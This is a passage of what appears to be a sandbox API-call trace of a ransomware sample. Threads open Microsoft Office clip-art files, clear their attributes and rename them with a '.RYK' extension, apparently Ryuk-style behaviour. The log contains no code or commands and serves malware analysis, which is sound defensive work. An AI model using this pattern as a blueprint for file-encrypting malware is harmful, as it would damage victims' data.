	os_tid = 0x2e0c

	[0226.807] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178639.JPG", dwFileAttributes=0x80) returned 0
	[0232.432] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178639.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178639.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0232.697] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0232.697] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178639.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178639.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178639.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178639.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2603
	os_tid = 0x2e10

	[0226.808] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178932.JPG", dwFileAttributes=0x80) returned 0
	[0232.433] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178932.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178932.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0232.695] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0232.695] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178932.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178932.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178932.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178932.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2604
	os_tid = 0x2e14

	[0226.809] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0179963.JPG", dwFileAttributes=0x80) returned 0
	[0232.433] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0179963.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0179963.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0232.693] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0232.694] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0179963.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0179963.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0179963.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0179963.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2605
	os_tid = 0x2d40


Thread:
	id = 2606
	os_tid = 0x2d38


Thread:
	id = 2607
	os_tid = 0x2d30


Thread:
	id = 2611
	os_tid = 0x2e18

	[0232.337] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182689.JPG", dwFileAttributes=0x80) returned 0
	[0233.112] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182689.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182689.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.113] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.113] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182689.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182689.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182689.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182689.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2618
	os_tid = 0x2e50

	[0232.971] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182888.WMF", dwFileAttributes=0x80) returned 0
	[0232.971] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182888.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182888.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0232.971] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0232.971] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182888.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182888.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182888.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182888.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2619
	os_tid = 0x2e54

	[0234.969] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182898.WMF", dwFileAttributes=0x80) returned 0
	[0234.973] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182898.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182898.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0234.974] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0234.974] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182898.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182898.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182898.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182898.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2623
	os_tid = 0x2e68

	[0234.978] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182902.WMF", dwFileAttributes=0x80) returned 0
	[0234.978] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182902.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182902.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0234.978] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0234.979] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182902.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182902.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182902.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182902.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2624
	os_tid = 0x2e6c

	[0234.981] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182946.WMF", dwFileAttributes=0x80) returned 0
	[0234.981] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182946.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182946.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0234.981] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0234.982] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182946.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182946.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182946.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182946.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2625
	os_tid = 0x2e70

	[0234.984] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183172.WMF", dwFileAttributes=0x80) returned 0
	[0234.990] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183172.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183172.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0234.990] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0234.990] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183172.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183172.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183172.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183172.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2626
	os_tid = 0x2e74

	[0234.992] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183174.WMF", dwFileAttributes=0x80) returned 0
	[0234.992] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183174.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183174.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0234.993] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0234.993] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183174.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183174.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183174.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183174.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2627
	os_tid = 0x2e78

	[0234.995] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183198.WMF", dwFileAttributes=0x80) returned 0
	[0234.995] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183198.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183198.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0234.996] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0234.996] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183198.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183198.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183198.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183198.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2628
	os_tid = 0x2e7c

	[0234.998] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183574.WMF", dwFileAttributes=0x80) returned 0
	[0235.360] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183574.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183574.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0235.736] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0235.736] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183574.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183574.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183574.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183574.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2629
	os_tid = 0x2e80

	[0235.002] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185670.WMF", dwFileAttributes=0x80) returned 0
	[0235.361] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185670.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185670.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0235.734] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0235.734] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185670.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185670.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185670.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185670.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2630
	os_tid = 0x2e84

	[0235.007] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185774.WMF", dwFileAttributes=0x80) returned 0
	[0235.361] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185774.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185774.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0235.731] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0235.731] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185774.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185774.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185774.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185774.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2631
	os_tid = 0x2e88

	[0235.009] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185776.WMF", dwFileAttributes=0x80) returned 0
	[0235.362] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185776.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185776.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0235.362] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0235.362] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185776.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185776.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185776.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185776.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2632
	os_tid = 0x2e8c

	[0235.419] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185778.WMF", dwFileAttributes=0x80) returned 0
	[0235.426] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185778.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185778.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0235.426] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0235.427] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185778.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185778.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185778.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185778.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2635
	os_tid = 0x2ea4

	[0235.422] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185780.WMF", dwFileAttributes=0x80) returned 0
	[0235.422] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185780.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185780.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0235.422] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0235.423] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185780.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185780.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185780.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185780.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2636
	os_tid = 0x2ea8

	[0235.424] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185786.WMF", dwFileAttributes=0x80) returned 0
	[0235.443] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185786.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185786.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0235.443] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0235.444] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185786.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185786.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185786.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185786.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2637
	os_tid = 0x2eac

	[0235.429] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185790.WMF", dwFileAttributes=0x80) returned 0
	[0235.429] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185790.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185790.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0235.429] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0235.430] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185790.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185790.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185790.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185790.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2638
	os_tid = 0x2eb0

	[0235.431] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185796.WMF", dwFileAttributes=0x80) returned 0
	[0235.432] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185796.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185796.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0235.432] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0235.432] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185796.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185796.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185796.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185796.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2639
	os_tid = 0x2eb4

	[0235.434] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185798.WMF", dwFileAttributes=0x80) returned 0
	[0235.435] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185798.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185798.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0235.435] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0235.435] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185798.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185798.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185798.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185798.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2640
	os_tid = 0x2eb8

	[0235.437] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185800.WMF", dwFileAttributes=0x80) returned 0
	[0235.445] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185800.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185800.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0235.446] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0235.446] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185800.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185800.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185800.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185800.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2641
	os_tid = 0x2ebc

	[0235.439] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185806.WMF", dwFileAttributes=0x80) returned 0
	[0235.447] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185806.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185806.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0235.448] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0235.448] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185806.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185806.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185806.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185806.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2642
	os_tid = 0x2ec0

	[0235.441] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185818.WMF", dwFileAttributes=0x80) returned 0
	[0235.450] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185818.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185818.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0235.450] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0235.450] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185818.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185818.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185818.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185818.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2646
	os_tid = 0x2ec4

	[0235.750] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185828.WMF", dwFileAttributes=0x80) returned 0
	[0235.750] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185828.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185828.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0235.750] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0235.751] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185828.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185828.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185828.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185828.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2647
	os_tid = 0x2edc

	[0235.753] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185834.WMF", dwFileAttributes=0x80) returned 0
	[0235.948] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185834.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185834.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0235.948] CloseHandle (hObject=0xffffffffffffffff) returned 0
